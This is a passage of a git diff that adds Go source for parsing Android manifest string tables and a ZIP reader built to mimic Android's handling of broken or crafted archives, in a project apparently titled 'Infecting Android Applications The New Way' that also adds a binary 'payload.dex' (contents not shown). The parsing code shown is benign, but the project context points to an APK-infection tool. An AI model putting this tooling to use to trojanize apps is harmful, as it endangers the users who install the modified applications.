+}
+
+func (t *stringTable) parseString8(r io.Reader) (string, error) {
+ // Length of the string in UTF16
+ _, err := t.parseString8Len(r)
+ if err != nil {
+ return "", err
+ }
+
+ len8, err := t.parseString8Len(r)
+ if err != nil {
+ return "", err
+ }
+
+ buf := make([]uint8, len8)
+ if err := binary.Read(r, binary.LittleEndian, &buf); err != nil {
+ return "", fmt.Errorf("error reading string : %s", err.Error())
+ }
+
+ for len(buf) != 0 && buf[len(buf)-1] == 0 {
+ buf = buf[:len(buf)-1]
+ }
+
+ return string(buf), nil
+}
+
+func (t *stringTable) get(idx uint32) (string, error) {
+ if idx == math.MaxUint32 {
+ return "", nil
+ } else if idx >= uint32(len(t.stringOffsets)/4) {
+ return "", fmt.Errorf("String with idx %d not found!", idx)
+ }
+
+ if str, prs := t.cache[idx]; prs {
+ return str, nil
+ }
+
+ offset := binary.LittleEndian.Uint32(t.stringOffsets[4*idx : 4*idx+4])
+ if offset >= uint32(len(t.data)) {
+ return "", fmt.Errorf("String offset for idx %d is out of bounds (%d >= %d).", idx, offset, len(t.data))
+ }
+
+ r := bytes.NewReader(t.data[offset:])
+
+ var err error
+ var res string
+ if t.isUtf8 {
+ res, err = t.parseString8(r)
+ } else {
+ res, err = t.parseString16(r)
+ }
+
+ if err != nil {
+ return "", err
+ }
+
+ if !utf8.ValidString(res) || strings.ContainsRune(res, 0) {
+ res = strings.Map(func(r rune) rune {
+ switch r {
+ case 0, utf8.RuneError:
+ return '\uFFFE'
+ default:
+ return r
+ }
+ }, res)
+ }
+
+ t.cache[idx] = res
+ return res, nil
+}
+
+func (t *stringTable) isEmpty() bool {
+ return t.cache == nil
+}
diff --git a/Infecting Android Applications The New Way/master/manifest/zipreader.go b/Infecting Android Applications The New Way/master/manifest/zipreader.go
new file mode 100644
index 0000000..4b9de25
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/zipreader.go
@@ -0,0 +1,352 @@
+package manifest
+
+import (
+ "archive/zip"
+ "compress/flate"
+ "encoding/binary"
+ "errors"
+ "fmt"
+ "io"
+ "os"
+ "path"
+)
+
+type zipReaderFileSubEntry struct {
+ offset int64
+ method uint16
+}
+
+// This struct mimics of Reader from archive/zip. It's purpose is to handle
+// even broken archives that Android can read, but archive/zip cannot.
+type ZipReader struct {
+ File map[string]*ZipReaderFile
+
+ // Files in the order they were found in the zip. May contain the same ZipReaderFile
+ // multiple times in case of broken/crafted ZIPs
+ FilesOrdered []*ZipReaderFile
+
+ zipFileReader io.ReadSeeker
+ ownedZipFile *os.File
+}
+
+// This struct mimics of File from archive/zip. The main difference is it can represent
+// multiple actual entries in the ZIP file in case it has more than one with the same name.
+type ZipReaderFile struct {
+ Name string
+ IsDir bool
+
+ zipFile io.ReadSeeker
+ internalReader io.Reader
+ internalCloser io.Closer
+
+ zipEntry *zip.File
+
+ entries []zipReaderFileSubEntry
+ curEntry int
+}
+
+// Opens the file(s) for reading. After calling open, you should iterate through all possible entries that
+// go by that Filename with for f.Next() { f.Read()... }
+func (zr *ZipReaderFile) Open() error {
+ if zr.internalReader != nil {
+ return errors.New("File is already opened.")
+ }
+
+ if zr.zipEntry != nil {
+ var err error
+ zr.curEntry = 0
+ rc, err := zr.zipEntry.Open()
+ if err != nil {
+ return err
+ }
+ zr.internalReader = rc
+ zr.internalCloser = rc
+ } else {
+ zr.curEntry = -1
+ }
+
+ return nil
+}
+
+// Reads data from current opened file. Returns io.EOF at the end of current file, but another file entry might exist.
+// Use Next() to check for that.
+func (zr *ZipReaderFile) Read(p []byte) (int, error) {
+ if zr.internalReader == nil {
+ if zr.curEntry == -1 && !zr.Next() {
+ return 0, io.ErrUnexpectedEOF
+ }
+
+ if zr.curEntry >= len(zr.entries) {
+ return 0, io.ErrUnexpectedEOF
+ }
+
+ _, err := zr.zipFile.Seek(zr.entries[zr.curEntry].offset, 0)
+ if err != nil {
+ return 0, err
+ }
+
+ switch zr.entries[zr.curEntry].method {
+ case zip.Store:
+ zr.internalReader = zr.zipFile
+ default: // case zip.Deflate: // Android treats everything but 0 as deflate
+ rc := flate.NewReader(zr.zipFile)
+ zr.internalReader = rc
+ zr.internalCloser = rc
+ }
+ }
+ return zr.internalReader.Read(p)
+}
+
+// Moves this reader to the next file represented under it's Name. Returns false if there are no more to read.
+func (zr *ZipReaderFile) Next() bool {
+ if len(zr.entries) == 0 && zr.internalReader != nil {
+ zr.curEntry++
+ return zr.curEntry == 1
+ }
+
+ zr.Close()
+
+ if zr.curEntry+1 >= len(zr.entries) {
+ return false
+ }
+ zr.curEntry++
+ return true
+}
+
+// Closes this reader and all opened files.
+func (zr *ZipReaderFile) Close() error {
+ if zr.internalReader != nil {
+ if zr.internalCloser != nil {
+ zr.internalCloser.Close()
+ zr.internalCloser = nil
+ }
+ zr.internalReader = nil
+ }
+ return nil
+}
+
+// Get the file header from ZIP (can return nil with broken archives)
+func (zr *ZipReaderFile) ZipHeader() *zip.FileHeader {
+ if zr.zipEntry != nil {
+ return &zr.zipEntry.FileHeader
+ }
+ return nil
+}
+
+// Closes this ZIP archive and all it's ZipReaderFile entries.
+func (zr *ZipReader) Close() error {
+ if zr.zipFileReader == nil {
+ return nil
+ }
+
+ for _, zf := range zr.File {
+ zf.Close()
+ }
+
+ var err error
+ if zr.ownedZipFile != nil {
+ err = zr.ownedZipFile.Close()
+ zr.ownedZipFile = nil
+ }
+
+ zr.zipFileReader = nil
+ return err
+}
+
+type readAtWrapper struct {
+ io.ReadSeeker
+}
+
+func (wr *readAtWrapper) ReadAt(b []byte, off int64) (n int, err error) {
+ if readerAt, ok := wr.ReadSeeker.(io.ReaderAt); ok {
+ return readerAt.ReadAt(b, off)
+ }
+
+ oldpos, err := wr.Seek(off, io.SeekCurrent)
+ if err != nil {
+ return
+ }
+
+ if _, err = wr.Seek(off, io.SeekStart); err != nil {
+ return
+ }
+
+ if n, err = wr.Read(b); err != nil {
+ return
+ }
+
+ _, err = wr.Seek(oldpos, io.SeekStart)
+ return
+}
+
+// Attempts to open ZIP for reading.
+func OpenZip(path string) (zr *ZipReader, err error) {
+ f, err := os.Open(path)
+ if err != nil {
+ return nil, err
+ }
+
+ zr, err = OpenZipReader(f)
+ if err != nil {
+ f.Close()
+ } else {
+ zr.ownedZipFile = f
+ }
+ return
+}
+
+// Attempts to open ZIP for reading. Might Seek the reader to arbitrary
+// positions.
+func OpenZipReader(zipReader io.ReadSeeker) (zr *ZipReader, err error) {
+ zr = &ZipReader{
+ File: make(map[string]*ZipReaderFile),
+ zipFileReader: zipReader,
+ }
+
+ f := &readAtWrapper{zipReader}
+
+ var zipinfo *zip.Reader
+ zipinfo, err = tryReadZip(f)
+ if err == nil {
+ for i, zf := range zipinfo.File {
+ // Android treats anything but 0 as deflate.
+ if zf.Method != zip.Store && zf.Method != zip.Deflate {
+ zipinfo.File[i].Method = zip.Deflate
+ }
+
+ cl := path.Clean(zf.Name)
+ if zr.File[cl] == nil {
+ zf := &ZipReaderFile{
+ Name: cl,
+ IsDir: zf.FileInfo().IsDir(),
+ zipFile: f,
+ zipEntry: zf,
+ }
+ zr.File[cl] = zf
+ zr.FilesOrdered = append(zr.FilesOrdered, zf)
+ }
+ }
+ return
+ }
+
+ if _, err = f.Seek(0, io.SeekStart); err != nil {
+ return
+ }
+
+ var off int64
+ for {
+ off, err = findNextFileHeader(f)
+ if off == -1 || err != nil {
+ return
+ }
+
+ var nameLen, extraLen, method uint16
+ if _, err = f.Seek(off+8, 0); err != nil {
+ return
+ }
+
+ if err = binary.Read(f, binary.LittleEndian, &method); err != nil {
+ return
+ }
+
+ if _, err = f.Seek(off+26, 0); err != nil {
+ return
+ }
+
+ if err = binary.Read(f, binary.LittleEndian, &nameLen); err != nil {
+ return
+ }
+
+ if err = binary.Read(f, binary.LittleEndian, &extraLen); err != nil {
+ return
+ }
+
+ buf := make([]byte, nameLen)
+ if _, err = f.ReadAt(buf, off+30); err != nil {
+ return
+ }
+
+ fileName := path.Clean(string(buf))
+ fileOffset := off + 30 + int64(nameLen) + int64(extraLen)
+
+ zrf := zr.File[fileName]
+ if zrf == nil {
+ zrf = &ZipReaderFile{
+ Name: fileName,
+ zipFile: f,
+ curEntry: -1,
+ }
+ zr.File[fileName] = zrf
+ }
+ zr.FilesOrdered = append(zr.FilesOrdered, zrf)
+
+ zrf.entries = append([]zipReaderFileSubEntry{zipReaderFileSubEntry{
+ offset: fileOffset,
+ method: method,
+ }}, zrf.entries...)
+
+ if _, err = f.Seek(off+4, 0); err != nil {
+ return
+ }
+ }
+}
+
+func tryReadZip(f *readAtWrapper) (r *zip.Reader, err error) {
+ defer func() {
+ if pn := recover(); pn != nil {
+ err = fmt.Errorf("%v", pn)
+ r = nil
+ }
+ }()
+
+ size, err := f.Seek(0, io.SeekEnd)
+ if err != nil {
+ return
+ }
+
+ r, err = zip.NewReader(f, size)
+ return
+}
+
+func findNextFileHeader(f io.ReadSeeker) (offset int64, err error) {
+ start, err := f.Seek(0, 1)
+ if err != nil {
+ return -1, err
+ }
+ defer func() {
+ if _, serr := f.Seek(start, 0); serr != nil && err == nil {
+ err = serr
+ }
+ }()
+
+ buf := make([]byte, 64*1024)
+ toCmp := []byte{0x50, 0x4B, 0x03, 0x04}
+
+ ok := 0
+ offset = start
+
+ for {
+ n, err := f.Read(buf)
+ if err != nil && err != io.EOF {
+ return -1, err
+ }
+
+ if n == 0 {
+ return -1, nil
+ }
+
+ for i := 0; i < n; i++ {
+ if buf[i] == toCmp[ok] {
+ ok++
+ if ok == len(toCmp) {
+ offset += int64(i) - int64(len(toCmp)-1)
+ return offset, nil
+ }
+ } else {
+ ok = 0
+ }
+ }
+
+ offset += int64(n)
+ }
+}
diff --git a/Infecting Android Applications The New Way/master/payload.dex b/Infecting Android Applications The New Way/master/payload.dex
new file mode 100644
index 0000000..6d9411f
Binary files /dev/null and b/Infecting Android Applications The New Way/master/payload.dex differ